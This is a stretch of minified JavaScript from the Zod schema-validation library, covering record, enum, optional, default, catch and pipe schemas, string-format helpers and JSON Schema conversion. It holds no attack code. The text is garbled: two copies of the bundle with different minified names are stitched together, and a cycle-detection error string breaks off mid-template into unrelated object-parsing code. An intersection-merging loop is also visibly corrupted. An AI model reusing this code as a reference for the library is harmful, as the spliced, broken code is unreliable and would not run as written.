n.value=s.data,n}const FO=G("$ZodRecord",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>{const C=t.value;if(!EA(C))return t.issues.push({expected:"record",code:"invalid_type",input:C,inst:n}),t;const o=[],s=e.keyType._zod.values;if(s){t.value={};const a=new Set;for(const u of s)if(typeof u=="string"||typeof u=="number"||typeof u=="symbol"){a.add(typeof u=="number"?u.toString():u);const h=e.keyType._zod.run({value:u,issues:[]},i);if(h instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(h.issues.length){t.issues.push({code:"invalid_key",origin:"record",issues:h.issues.map(v=>fi(v,i,hi())),input:u,path:[u],inst:n});continue}const p=h.value,m=e.valueType._zod.run({value:C[u],issues:[]},i);m instanceof Promise?o.push(m.then(v=>{v.issues.length&&t.issues.push(...OA(u,v.issues)),t.value[p]=v.value})):(m.issues.length&&t.issues.push(...OA(u,m.issues)),t.value[p]=m.value)}let l;for(const u in C)a.has(u)||(l=l??[],l.push(u));l&&l.length>0&&t.issues.push({code:"unrecognized_keys",input:C,inst:n,keys:l})}else{t.value={};for(const a of Reflect.ownKeys(C)){if(a==="__proto__"||!Object.prototype.propertyIsEnumerable.call(C,a))continue;let l=e.keyType._zod.run({value:a,issues:[]},i);if(l instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(typeof a=="string"&&ff.test(a)&&l.issues.length){const p=e.keyType._zod.run({value:Number(a),issues:[]},i);if(p instanceof Promise)throw new Error("Async schemas not supported in object keys currently");p.issues.length===0&&(l=p)}if(l.issues.length){e.mode==="loose"?t.value[a]=C[a]:t.issues.push({code:"invalid_key",origin:"record",issues:l.issues.map(p=>fi(p,i,hi())),input:a,path:[a],inst:n});continue}const h=e.valueType._zod.run({value:C[a],issues:[]},i);h instanceof Promise?o.push(h.then(p=>{p.issues.length&&t.issues.push(...OA(a,p.issues)),t.value[l.value]=p.value})):(h.issues.length&&t.issues.push(...OA(a,h.issues)),t.value[l.value]=h.value)}}return o.length?Promise.all(o).then(()=>t):t}}),VO=G("$ZodEnum",(n,e)=>{At.init(n,e);const t=Af(e.entries),i=new Set(t);n._zod.values=i,n._zod.pattern=new RegExp(`^(${t.filter(C=>$S.has(typeof C)).map(C=>typeof C=="string"?TA(C):C.toString()).join("|")})$`),n._zod.parse=(C,o)=>{const s=C.value;return i.has(s)||C.issues.push({code:"invalid_value",values:t,input:s,inst:n}),C}}),YO=G("$ZodLiteral",(n,e)=>{if(At.init(n,e),e.values.length===0)throw new Error("Cannot create literal schema with no valid values");const t=new Set(e.values);n._zod.values=t,n._zod.pattern=new RegExp(`^(${e.values.map(i=>typeof i=="string"?TA(i):i?TA(i.toString()):String(i)).join("|")})$`),n._zod.parse=(i,C)=>{const o=i.value;return t.has(o)||i.issues.push({code:"invalid_value",values:e.values,input:o,inst:n}),i}}),UO=G("$ZodTransform",(n,e)=>{At.init(n,e),n._zod.optin="optional",n._zod.parse=(t,i)=>{if(i.direction==="backward")throw new nf(n.constructor.name);const C=e.transform(t.value,t);if(i.async)return(C instanceof Promise?C:Promise.resolve(C)).then(s=>(t.value=s,t.fallback=!0,t));if(C instanceof Promise)throw new wA;return t.value=C,t.fallback=!0,t}});function xf(n,e){return e===void 0&&(n.issues.length||n.fallback)?{issues:[],value:void 0}:n}const Nf=G("$ZodOptional",(n,e)=>{At.init(n,e),n._zod.optin="optional",n._zod.optout="optional",Ue(n._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,void 0]):void 0),Ue(n._zod,"pattern",()=>{const t=e.innerType._zod.pattern;return t?new RegExp(`^(${Qa(t.source)})?$`):void 0}),n._zod.parse=(t,i)=>{if(e.innerType._zod.optin==="optional"){const C=t.value,o=e.innerType._zod.run(t,i);return o instanceof Promise?o.then(s=>xf(s,C)):xf(o,C)}return t.value===void 0?t:e.innerType._zod.run(t,i)}}),HO=G("$ZodExactOptional",(n,e)=>{Nf.init(n,e),Ue(n._zod,"values",()=>e.innerType._zod.values),Ue(n._zod,"pattern",()=>e.innerType._zod.pattern),n._zod.parse=(t,i)=>e.innerType._zod.run(t,i)}),KO=G("$ZodNullable",(n,e)=>{At.init(n,e),Ue(n._zod,"optin",()=>e.innerType._zod.optin),Ue(n._zod,"optout",()=>e.innerType._zod.optout),Ue(n._zod,"pattern",()=>{const t=e.innerType._zod.pattern;return t?new RegExp(`^(${Qa(t.source)}|null)$`):void 0}),Ue(n._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,null]):void 0),n._zod.parse=(t,i)=>t.value===null?t:e.innerType._zod.run(t,i)}),QO=G("$ZodDefault",(n,e)=>{At.init(n,e),n._zod.optin="optional",Ue(n._zod,"values",()=>e.innerType._zod.values),n._zod.parse=(t,i)=>{if(i.direction==="backward")return e.innerType._zod.run(t,i);if(t.value===void 0)return t.value=e.defaultValue,t;const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(o=>Df(o,e)):Df(C,e)}});function Df(n,e){return n.value===void 0&&(n.value=e.defaultValue),n}const XO=G("$ZodPrefault",(n,e)=>{At.init(n,e),n._zod.optin="optional",Ue(n._zod,"values",()=>e.innerType._zod.values),n._zod.parse=(t,i)=>(i.direction==="backward"||t.value===void 0&&(t.value=e.defaultValue),e.innerType._zod.run(t,i))}),WO=G("$ZodNonOptional",(n,e)=>{At.init(n,e),Ue(n._zod,"values",()=>{const t=e.innerType._zod.values;return t?new Set([...t].filter(i=>i!==void 0)):void 0}),n._zod.parse=(t,i)=>{const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(o=>zf(o,n)):zf(C,n)}});function zf(n,e){return!n.issues.length&&n.value===void 0&&n.issues.push({code:"invalid_type",expected:"nonoptional",input:n.value,inst:e}),n}const qO=G("$ZodCatch",(n,e)=>{At.init(n,e),n._zod.optin="optional",Ue(n._zod,"optout",()=>e.innerType._zod.optout),Ue(n._zod,"values",()=>e.innerType._zod.values),n._zod.parse=(t,i)=>{if(i.direction==="backward")return e.innerType._zod.run(t,i);const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(o=>(t.value=o.value,o.issues.length&&(t.value=e.catchValue({...t,error:{issues:o.issues.map(s=>fi(s,i,hi()))},input:t.value}),t.issues=[],t.fallback=!0),t)):(t.value=C.value,C.issues.length&&(t.value=e.catchValue({...t,error:{issues:C.issues.map(o=>fi(o,i,hi()))},input:t.value}),t.issues=[],t.fallback=!0),t)}}),JO=G("$ZodPipe",(n,e)=>{At.init(n,e),Ue(n._zod,"values",()=>e.in._zod.values),Ue(n._zod,"optin",()=>e.in._zod.optin),Ue(n._zod,"optout",()=>e.out._zod.optout),Ue(n._zod,"propValues",()=>e.in._zod.propValues),n._zod.parse=(t,i)=>{if(i.direction==="backward"){const o=e.out._zod.run(t,i);return o instanceof Promise?o.then(s=>$o(s,e.in,i)):$o(o,e.in,i)}const C=e.in._zod.run(t,i);return C instanceof Promise?C.then(o=>$o(o,e.out,i)):$o(C,e.out,i)}});function $o(n,e,t){return n.issues.length?(n.aborted=!0,n):e._zod.run({value:n.value,issues:n.issues,fallback:n.fallback},t)}const $O=G("$ZodReadonly",(n,e)=>{At.init(n,e),Ue(n._zod,"propValues",()=>e.innerType._zod.propValues),Ue(n._zod,"values",()=>e.innerType._zod.values),Ue(n._zod,"optin",()=>e.innerType?._zod?.optin),Ue(n._zod,"optout",()=>e.innerType?._zod?.optout),n._zod.parse=(t,i)=>{if(i.direction==="backward")return e.innerType._zod.run(t,i);const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(Rf):Rf(C)}});function Rf(n){return n.value=Object.freeze(n.value),n}const ex=G("$ZodCustom",(n,e)=>{tg.init(n,e),At.init(n,e),n._zod.parse=(t,i)=>t,n._zod.check=t=>{const i=t.value,C=e.fn(i);if(C instanceof Promise)return C.then(o=>Mf(o,t,i,n));Mf(C,t,i,n)}});function Mf(n,e,t,i){if(!n){const C={code:"custom",input:t,inst:i,path:[...i._zod.def.path??[]],continue:!i._zod.def.abort};i._zod.def.params&&(C.params=i._zod.def.params),e.issues.push(QC(C))}}var _f;class tx{constructor(){this._map=new WeakMap,this._idmap=new Map}add(e,...t){const i=t[0];return this._map.set(e,i),i&&typeof i=="object"&&"id"in i&&this._idmap.set(i.id,e),this}clear(){return this._map=new WeakMap,this._idmap=new Map,this}remove(e){const t=this._map.get(e);return t&&typeof t=="object"&&"id"in t&&this._idmap.delete(t.id),this._map.delete(e),this}get(e){const t=e._zod.parent;if(t){const i={...this.get(t)??{}};delete i.id;const C={...i,...this._map.get(e)};return Object.keys(C).length?C:void 0}return this._map.get(e)}has(e){return this._map.has(e)}}function gx(){return new tx}(_f=globalThis).__zod_globalRegistry??(_f.__zod_globalRegistry=gx());const XC=globalThis.__zod_globalRegistry;function ix(n,e){return new n({type:"string",...Ie(e)})}function nx(n,e){return new n({type:"string",format:"email",check:"string_format",abort:!1,...Ie(e)})}function kf(n,e){return new n({type:"string",format:"guid",check:"string_format",abort:!1,...Ie(e)})}function Ax(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,...Ie(e)})}function Cx(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v4",...Ie(e)})}function Ix(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v6",...Ie(e)})}function ox(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v7",...Ie(e)})}function sx(n,e){return new n({type:"string",format:"url",check:"string_format",abort:!1,...Ie(e)})}function rx(n,e){return new n({type:"string",format:"emoji",check:"string_format",abort:!1,...Ie(e)})}function ax(n,e){return new n({type:"string",format:"nanoid",check:"string_format",abort:!1,...Ie(e)})}function lx(n,e){return new n({type:"string",format:"cuid",check:"string_format",abort:!1,...Ie(e)})}function cx(n,e){return new n({type:"string",format:"cuid2",check:"string_format",abort:!1,...Ie(e)})}function ux(n,e){return new n({type:"string",format:"ulid",check:"string_format",abort:!1,...Ie(e)})}function dx(n,e){return new n({type:"string",format:"xid",check:"string_format",abort:!1,...Ie(e)})}function hx(n,e){return new n({type:"string",format:"ksuid",check:"string_format",abort:!1,...Ie(e)})}function fx(n,e){return new n({type:"string",format:"ipv4",check:"string_format",abort:!1,...Ie(e)})}function px(n,e){return new n({type:"string",format:"ipv6",check:"string_format",abort:!1,...Ie(e)})}function mx(n,e){return new n({type:"string",format:"cidrv4",check:"string_format",abort:!1,...Ie(e)})}function vx(n,e){return new n({type:"string",format:"cidrv6",check:"string_format",abort:!1,...Ie(e)})}function yx(n,e){return new n({type:"string",format:"base64",check:"string_format",abort:!1,...Ie(e)})}function bx(n,e){return new n({type:"string",format:"base64url",check:"string_format",abort:!1,...Ie(e)})}function wx(n,e){return new n({type:"string",format:"e164",check:"string_format",abort:!1,...Ie(e)})}function Ex(n,e){return new n({type:"string",format:"jwt",check:"string_format",abort:!1,...Ie(e)})}function Tx(n,e){return new n({type:"string",format:"datetime",check:"string_format",offset:!1,local:!1,precision:null,...Ie(e)})}function Sx(n,e){return new n({type:"string",format:"date",check:"string_format",...Ie(e)})}function Ox(n,e){return new n({type:"string",format:"time",check:"string_format",precision:null,...Ie(e)})}function xx(n,e){return new n({type:"string",format:"duration",check:"string_format",...Ie(e)})}function Nx(n,e){return new n({type:"number",checks:[],...Ie(e)})}function Dx(n,e){return new n({type:"number",check:"number_format",abort:!1,format:"safeint",...Ie(e)})}function zx(n,e){return new n({type:"boolean",...Ie(e)})}function Rx(n){return new n({type:"unknown"})}function Mx(n,e){return new n({type:"never",...Ie(e)})}function Zf(n,e){return new mf({check:"less_than",...Ie(e),value:n,inclusive:!1})}function el(n,e){return new mf({check:"less_than",...Ie(e),value:n,inclusive:!0})}function Bf(n,e){return new vf({check:"greater_than",...Ie(e),value:n,inclusive:!1})}function tl(n,e){return new vf({check:"greater_than",...Ie(e),value:n,inclusive:!0})}function Pf(n,e){return new Q2({check:"multiple_of",...Ie(e),value:n})}function jf(n,e){return new W2({check:"max_length",...Ie(e),maximum:n})}function es(n,e){return new q2({check:"min_length",...Ie(e),minimum:n})}function Lf(n,e){return new J2({check:"length_equals",...Ie(e),length:n})}function _x(n,e){return new $2({check:"string_format",format:"regex",...Ie(e),pattern:n})}function kx(n){return new eO({check:"string_format",format:"lowercase",...Ie(n)})}function Zx(n){return new tO({check:"string_format",format:"uppercase",...Ie(n)})}function Bx(n,e){return new gO({check:"string_format",format:"includes",...Ie(e),includes:n})}function Px(n,e){return new iO({check:"string_format",format:"starts_with",...Ie(e),prefix:n})}function jx(n,e){return new nO({check:"string_format",format:"ends_with",...Ie(e),suffix:n})}function xA(n){return new AO({check:"overwrite",tx:n})}function Lx(n){return xA(e=>e.normalize(n))}function Gx(){return xA(n=>n.trim())}function Fx(){return xA(n=>n.toLowerCase())}function Vx(){return xA(n=>n.toUpperCase())}function Yx(){return xA(n=>qS(n))}function Ux(n,e,t){return new n({type:"array",element:e,...Ie(t)})}function Hx(n,e,t){return new n({type:"custom",check:"custom",fn:e,...Ie(t)})}function Kx(n,e){const t=Qx(i=>(i.addIssue=C=>{if(typeof C=="string")i.issues.push(QC(C,i.value,t._zod.def));else{const o=C;o.fatal&&(o.continue=!1),o.code??(o.code="custom"),o.input??(o.input=i.value),o.inst??(o.inst=t),o.continue??(o.continue=!t._zod.def.abort),i.issues.push(QC(o))}},n(i.value,i)),e);return t}function Qx(n,e){const t=new tg({check:"custom",...Ie(e)});return t._zod.check=n,t}function Gf(n){let e=n?.target??"draft-2020-12";return e==="draft-4"&&(e="draft-04"),e==="draft-7"&&(e="draft-07"),{processors:n.processors??{},metadataRegistry:n?.metadata??XC,target:e,unrepresentable:n?.unrepresentable??"throw",override:n?.override??(()=>{}),io:n?.io??"output",counter:0,seen:new Map,cycles:n?.cycles??"ref",reused:n?.reused??"inline",external:n?.external??void 0}}function bt(n,e,t={path:[],schemaPath:[]}){var i;const C=n._zod.def,o=e.seen.get(n);if(o)return o.count++,t.schemaPath.includes(n)&&(o.cycle=t.path),o.schema;const s={schema:{},count:1,cycle:void 0,path:t.path};e.seen.set(n,s);const a=n._zod.toJSONSchema?.();if(a)s.schema=a;else{const h={...t,schemaPath:[...t.schemaPath,n],path:t.path};if(n._zod.processJSONSchema)n._zod.processJSONSchema(e,s.schema,h);else{const m=s.schema,v=e.processors[C.type];if(!v)throw new Error(`[toJSONSchema]: Non-representable type encountered: ${C.type}`);v(n,e,m,h)}const p=n._zod.parent;p&&(s.ref||(s.ref=p),bt(p,e,h),e.seen.get(p).isParent=!0)}const l=e.metadataRegistry.get(n);return l&&Object.assign(s.schema,l),e.io==="input"&&Qt(n)&&(delete s.schema.examples,delete s.schema.default),e.io==="input"&&"_prefault"in s.schema&&((i=s.schema).default??(i.default=s.schema._prefault)),delete s.schema._prefault,e.seen.get(n).schema}function Ff(n,e){const t=n.seen.get(e);if(!t)throw new Error("Unprocessed schema. This is a bug in Zod.");const i=new Map;for(const s of n.seen.entries()){const a=n.metadataRegistry.get(s[0])?.id;if(a){const l=i.get(a);if(l&&l!==s[0])throw new Error(`Duplicate schema id "${a}" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);i.set(a,s[0])}}const C=s=>{const a=n.target==="draft-2020-12"?"$defs":"definitions";if(n.external){const p=n.external.registry.get(s[0])?.id,m=n.external.uri??(w=>w);if(p)return{ref:m(p)};const v=s[1].defId??s[1].schema.id??`schema${n.counter++}`;return s[1].defId=v,{defId:v,ref:`${m("__shared")}#/${a}/${v}`}}if(s[1]===t)return{ref:"#"};const u=`#/${a}/`,h=s[1].schema.id??`__schema${n.counter++}`;return{defId:h,ref:u+h}},o=s=>{if(s[1].schema.$ref)return;const a=s[1],{ref:l,defId:u}=C(s);a.def={...a.schema},u&&(a.defId=u);const h=a.schema;for(const p in h)delete h[p];h.$ref=l};if(n.cycles==="throw")for(const s of n.seen.entries()){const a=s[1];if(a.cycle)throw new Error(`Cycle detected: #/${a.cycle?.join("/")}/ + `)}v.write("payload.value = newResult;"),v.write("return payload;");const k=v.compile();return(Y,j)=>k(m,Y,j)};let o;const s=Ko,a=!Ya.jitless,u=a&&eS.value,h=e.catchall;let p;n._zod.parse=(m,v)=>{p??(p=i.value);const w=m.value;return s(w)?a&&u&&v?.async===!1&&v.jitless!==!0?(o||(o=C(e.shape)),m=o(m,v),h?Tf([],w,m,v,p,n):m):t(m,v):(m.issues.push({expected:"object",code:"invalid_type",input:w,inst:n}),m)}});function Sf(n,e,t,i){for(const o of n)if(o.issues.length===0)return e.value=o.value,e;const C=n.filter(o=>!SA(o));return C.length===1?(e.value=C[0].value,C[0]):(e.issues.push({code:"invalid_union",input:e.value,inst:t,errors:n.map(o=>o.issues.map(s=>fi(s,i,hi())))}),e)}const FO=F("$ZodUnion",(n,e)=>{At.init(n,e),Ye(n._zod,"optin",()=>e.options.some(i=>i._zod.optin==="optional")?"optional":void 0),Ye(n._zod,"optout",()=>e.options.some(i=>i._zod.optout==="optional")?"optional":void 0),Ye(n._zod,"values",()=>{if(e.options.every(i=>i._zod.values))return new Set(e.options.flatMap(i=>Array.from(i._zod.values)))}),Ye(n._zod,"pattern",()=>{if(e.options.every(i=>i._zod.pattern)){const i=e.options.map(C=>C._zod.pattern);return new RegExp(`^(${i.map(C=>Qa(C.source)).join("|")})$`)}});const t=e.options.length===1?e.options[0]._zod.run:null;n._zod.parse=(i,C)=>{if(t)return t(i,C);let o=!1;const s=[];for(const a of e.options){const l=a._zod.run({value:i.value,issues:[]},C);if(l instanceof Promise)s.push(l),o=!0;else{if(l.issues.length===0)return l;s.push(l)}}return o?Promise.all(s).then(a=>Sf(a,i,n,C)):Sf(s,i,n,C)}}),VO=F("$ZodIntersection",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>{const C=t.value,o=e.left._zod.run({value:C,issues:[]},i),s=e.right._zod.run({value:C,issues:[]},i);return o instanceof Promise||s instanceof Promise?Promise.all([o,s]).then(([l,u])=>Of(t,l,u)):Of(t,o,s)}});function $a(n,e){if(n===e)return{valid:!0,data:n};if(n instanceof Date&&e instanceof Date&&+n==+e)return{valid:!0,data:n};if(EA(n)&&EA(e)){const t=Object.keys(e),i=Object.keys(n).filter(o=>t.indexOf(o)!==-1),C={...n,...e};for(const o of i){const s=$a(n[o],e[o]);if(!s.valid)return{valid:!1,mergeErrorPath:[o,...s.mergeErrorPath]};C[o]=s.data}return{valid:!0,data:C}}if(Array.isArray(n)&&Array.isArray(e)){if(n.length!==e.length)return{valid:!1,mergeErrorPath:[]};const t=[];for(let i=0;ia.l&&a.r).map(([a])=>a);if(o.length&&C&&n.issues.push({...C,keys:o}),SA(n))return n;const s=$a(e.value,t.value);if(!s.valid)throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(s.mergeErrorPath)}`);return n.value=s.data,n}const YO=F("$ZodRecord",(n,e)=>{At.init(n,e),n._zod.parse=(t,i)=>{const C=t.value;if(!EA(C))return t.issues.push({expected:"record",code:"invalid_type",input:C,inst:n}),t;const o=[],s=e.keyType._zod.values;if(s){t.value={};const a=new Set;for(const u of s)if(typeof u=="string"||typeof u=="number"||typeof u=="symbol"){a.add(typeof u=="number"?u.toString():u);const h=e.keyType._zod.run({value:u,issues:[]},i);if(h instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(h.issues.length){t.issues.push({code:"invalid_key",origin:"record",issues:h.issues.map(v=>fi(v,i,hi())),input:u,path:[u],inst:n});continue}const p=h.value,m=e.valueType._zod.run({value:C[u],issues:[]},i);m instanceof Promise?o.push(m.then(v=>{v.issues.length&&t.issues.push(...OA(u,v.issues)),t.value[p]=v.value})):(m.issues.length&&t.issues.push(...OA(u,m.issues)),t.value[p]=m.value)}let l;for(const u in C)a.has(u)||(l=l??[],l.push(u));l&&l.length>0&&t.issues.push({code:"unrecognized_keys",input:C,inst:n,keys:l})}else{t.value={};for(const a of Reflect.ownKeys(C)){if(a==="__proto__"||!Object.prototype.propertyIsEnumerable.call(C,a))continue;let l=e.keyType._zod.run({value:a,issues:[]},i);if(l instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(typeof a=="string"&&ff.test(a)&&l.issues.length){const p=e.keyType._zod.run({value:Number(a),issues:[]},i);if(p instanceof Promise)throw new Error("Async schemas not supported in object keys currently");p.issues.length===0&&(l=p)}if(l.issues.length){e.mode==="loose"?t.value[a]=C[a]:t.issues.push({code:"invalid_key",origin:"record",issues:l.issues.map(p=>fi(p,i,hi())),input:a,path:[a],inst:n});continue}const h=e.valueType._zod.run({value:C[a],issues:[]},i);h instanceof Promise?o.push(h.then(p=>{p.issues.length&&t.issues.push(...OA(a,p.issues)),t.value[l.value]=p.value})):(h.issues.length&&t.issues.push(...OA(a,h.issues)),t.value[l.value]=h.value)}}return o.length?Promise.all(o).then(()=>t):t}}),UO=F("$ZodEnum",(n,e)=>{At.init(n,e);const t=Af(e.entries),i=new Set(t);n._zod.values=i,n._zod.pattern=new RegExp(`^(${t.filter(C=>tS.has(typeof C)).map(C=>typeof C=="string"?TA(C):C.toString()).join("|")})$`),n._zod.parse=(C,o)=>{const s=C.value;return i.has(s)||C.issues.push({code:"invalid_value",values:t,input:s,inst:n}),C}}),HO=F("$ZodLiteral",(n,e)=>{if(At.init(n,e),e.values.length===0)throw new Error("Cannot create literal schema with no valid values");const t=new Set(e.values);n._zod.values=t,n._zod.pattern=new RegExp(`^(${e.values.map(i=>typeof i=="string"?TA(i):i?TA(i.toString()):String(i)).join("|")})$`),n._zod.parse=(i,C)=>{const o=i.value;return t.has(o)||i.issues.push({code:"invalid_value",values:e.values,input:o,inst:n}),i}}),KO=F("$ZodTransform",(n,e)=>{At.init(n,e),n._zod.optin="optional",n._zod.parse=(t,i)=>{if(i.direction==="backward")throw new nf(n.constructor.name);const C=e.transform(t.value,t);if(i.async)return(C instanceof Promise?C:Promise.resolve(C)).then(s=>(t.value=s,t.fallback=!0,t));if(C instanceof Promise)throw new wA;return t.value=C,t.fallback=!0,t}});function xf(n,e){return e===void 0&&(n.issues.length||n.fallback)?{issues:[],value:void 0}:n}const Nf=F("$ZodOptional",(n,e)=>{At.init(n,e),n._zod.optin="optional",n._zod.optout="optional",Ye(n._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,void 0]):void 0),Ye(n._zod,"pattern",()=>{const t=e.innerType._zod.pattern;return t?new RegExp(`^(${Qa(t.source)})?$`):void 0}),n._zod.parse=(t,i)=>{if(e.innerType._zod.optin==="optional"){const C=t.value,o=e.innerType._zod.run(t,i);return o instanceof Promise?o.then(s=>xf(s,C)):xf(o,C)}return t.value===void 0?t:e.innerType._zod.run(t,i)}}),QO=F("$ZodExactOptional",(n,e)=>{Nf.init(n,e),Ye(n._zod,"values",()=>e.innerType._zod.values),Ye(n._zod,"pattern",()=>e.innerType._zod.pattern),n._zod.parse=(t,i)=>e.innerType._zod.run(t,i)}),XO=F("$ZodNullable",(n,e)=>{At.init(n,e),Ye(n._zod,"optin",()=>e.innerType._zod.optin),Ye(n._zod,"optout",()=>e.innerType._zod.optout),Ye(n._zod,"pattern",()=>{const t=e.innerType._zod.pattern;return t?new RegExp(`^(${Qa(t.source)}|null)$`):void 0}),Ye(n._zod,"values",()=>e.innerType._zod.values?new Set([...e.innerType._zod.values,null]):void 0),n._zod.parse=(t,i)=>t.value===null?t:e.innerType._zod.run(t,i)}),WO=F("$ZodDefault",(n,e)=>{At.init(n,e),n._zod.optin="optional",Ye(n._zod,"values",()=>e.innerType._zod.values),n._zod.parse=(t,i)=>{if(i.direction==="backward")return e.innerType._zod.run(t,i);if(t.value===void 0)return t.value=e.defaultValue,t;const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(o=>Df(o,e)):Df(C,e)}});function Df(n,e){return n.value===void 0&&(n.value=e.defaultValue),n}const qO=F("$ZodPrefault",(n,e)=>{At.init(n,e),n._zod.optin="optional",Ye(n._zod,"values",()=>e.innerType._zod.values),n._zod.parse=(t,i)=>(i.direction==="backward"||t.value===void 0&&(t.value=e.defaultValue),e.innerType._zod.run(t,i))}),JO=F("$ZodNonOptional",(n,e)=>{At.init(n,e),Ye(n._zod,"values",()=>{const t=e.innerType._zod.values;return t?new Set([...t].filter(i=>i!==void 0)):void 0}),n._zod.parse=(t,i)=>{const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(o=>zf(o,n)):zf(C,n)}});function zf(n,e){return!n.issues.length&&n.value===void 0&&n.issues.push({code:"invalid_type",expected:"nonoptional",input:n.value,inst:e}),n}const $O=F("$ZodCatch",(n,e)=>{At.init(n,e),n._zod.optin="optional",Ye(n._zod,"optout",()=>e.innerType._zod.optout),Ye(n._zod,"values",()=>e.innerType._zod.values),n._zod.parse=(t,i)=>{if(i.direction==="backward")return e.innerType._zod.run(t,i);const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(o=>(t.value=o.value,o.issues.length&&(t.value=e.catchValue({...t,error:{issues:o.issues.map(s=>fi(s,i,hi()))},input:t.value}),t.issues=[],t.fallback=!0),t)):(t.value=C.value,C.issues.length&&(t.value=e.catchValue({...t,error:{issues:C.issues.map(o=>fi(o,i,hi()))},input:t.value}),t.issues=[],t.fallback=!0),t)}}),ex=F("$ZodPipe",(n,e)=>{At.init(n,e),Ye(n._zod,"values",()=>e.in._zod.values),Ye(n._zod,"optin",()=>e.in._zod.optin),Ye(n._zod,"optout",()=>e.out._zod.optout),Ye(n._zod,"propValues",()=>e.in._zod.propValues),n._zod.parse=(t,i)=>{if(i.direction==="backward"){const o=e.out._zod.run(t,i);return o instanceof Promise?o.then(s=>$o(s,e.in,i)):$o(o,e.in,i)}const C=e.in._zod.run(t,i);return C instanceof Promise?C.then(o=>$o(o,e.out,i)):$o(C,e.out,i)}});function $o(n,e,t){return n.issues.length?(n.aborted=!0,n):e._zod.run({value:n.value,issues:n.issues,fallback:n.fallback},t)}const tx=F("$ZodReadonly",(n,e)=>{At.init(n,e),Ye(n._zod,"propValues",()=>e.innerType._zod.propValues),Ye(n._zod,"values",()=>e.innerType._zod.values),Ye(n._zod,"optin",()=>e.innerType?._zod?.optin),Ye(n._zod,"optout",()=>e.innerType?._zod?.optout),n._zod.parse=(t,i)=>{if(i.direction==="backward")return e.innerType._zod.run(t,i);const C=e.innerType._zod.run(t,i);return C instanceof Promise?C.then(Rf):Rf(C)}});function Rf(n){return n.value=Object.freeze(n.value),n}const gx=F("$ZodCustom",(n,e)=>{tg.init(n,e),At.init(n,e),n._zod.parse=(t,i)=>t,n._zod.check=t=>{const i=t.value,C=e.fn(i);if(C instanceof Promise)return C.then(o=>Mf(o,t,i,n));Mf(C,t,i,n)}});function Mf(n,e,t,i){if(!n){const C={code:"custom",input:t,inst:i,path:[...i._zod.def.path??[]],continue:!i._zod.def.abort};i._zod.def.params&&(C.params=i._zod.def.params),e.issues.push(QC(C))}}var _f;class ix{constructor(){this._map=new WeakMap,this._idmap=new Map}add(e,...t){const i=t[0];return this._map.set(e,i),i&&typeof i=="object"&&"id"in i&&this._idmap.set(i.id,e),this}clear(){return this._map=new WeakMap,this._idmap=new Map,this}remove(e){const t=this._map.get(e);return t&&typeof t=="object"&&"id"in t&&this._idmap.delete(t.id),this._map.delete(e),this}get(e){const t=e._zod.parent;if(t){const i={...this.get(t)??{}};delete i.id;const C={...i,...this._map.get(e)};return Object.keys(C).length?C:void 0}return this._map.get(e)}has(e){return this._map.has(e)}}function nx(){return new ix}(_f=globalThis).__zod_globalRegistry??(_f.__zod_globalRegistry=nx());const XC=globalThis.__zod_globalRegistry;function Ax(n,e){return new n({type:"string",...oe(e)})}function Cx(n,e){return new n({type:"string",format:"email",check:"string_format",abort:!1,...oe(e)})}function kf(n,e){return new n({type:"string",format:"guid",check:"string_format",abort:!1,...oe(e)})}function Ix(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,...oe(e)})}function ox(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v4",...oe(e)})}function sx(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v6",...oe(e)})}function rx(n,e){return new n({type:"string",format:"uuid",check:"string_format",abort:!1,version:"v7",...oe(e)})}function ax(n,e){return new n({type:"string",format:"url",check:"string_format",abort:!1,...oe(e)})}function lx(n,e){return new n({type:"string",format:"emoji",check:"string_format",abort:!1,...oe(e)})}function cx(n,e){return new n({type:"string",format:"nanoid",check:"string_format",abort:!1,...oe(e)})}function ux(n,e){return new n({type:"string",format:"cuid",check:"string_format",abort:!1,...oe(e)})}function dx(n,e){return new n({type:"string",format:"cuid2",check:"string_format",abort:!1,...oe(e)})}function hx(n,e){return new n({type:"string",format:"ulid",check:"string_format",abort:!1,...oe(e)})}function fx(n,e){return new n({type:"string",format:"xid",check:"string_format",abort:!1,...oe(e)})}function px(n,e){return new n({type:"string",format:"ksuid",check:"string_format",abort:!1,...oe(e)})}function mx(n,e){return new n({type:"string",format:"ipv4",check:"string_format",abort:!1,...oe(e)})}function vx(n,e){return new n({type:"string",format:"ipv6",check:"string_format",abort:!1,...oe(e)})}function yx(n,e){return new n({type:"string",format:"cidrv4",check:"string_format",abort:!1,...oe(e)})}function bx(n,e){return new n({type:"string",format:"cidrv6",check:"string_format",abort:!1,...oe(e)})}function wx(n,e){return new n({type:"string",format:"base64",check:"string_format",abort:!1,...oe(e)})}function Ex(n,e){return new n({type:"string",format:"base64url",check:"string_format",abort:!1,...oe(e)})}function Tx(n,e){return new n({type:"string",format:"e164",check:"string_format",abort:!1,...oe(e)})}function Sx(n,e){return new n({type:"string",format:"jwt",check:"string_format",abort:!1,...oe(e)})}function Ox(n,e){return new n({type:"string",format:"datetime",check:"string_format",offset:!1,local:!1,precision:null,...oe(e)})}function xx(n,e){return new n({type:"string",format:"date",check:"string_format",...oe(e)})}function Nx(n,e){return new 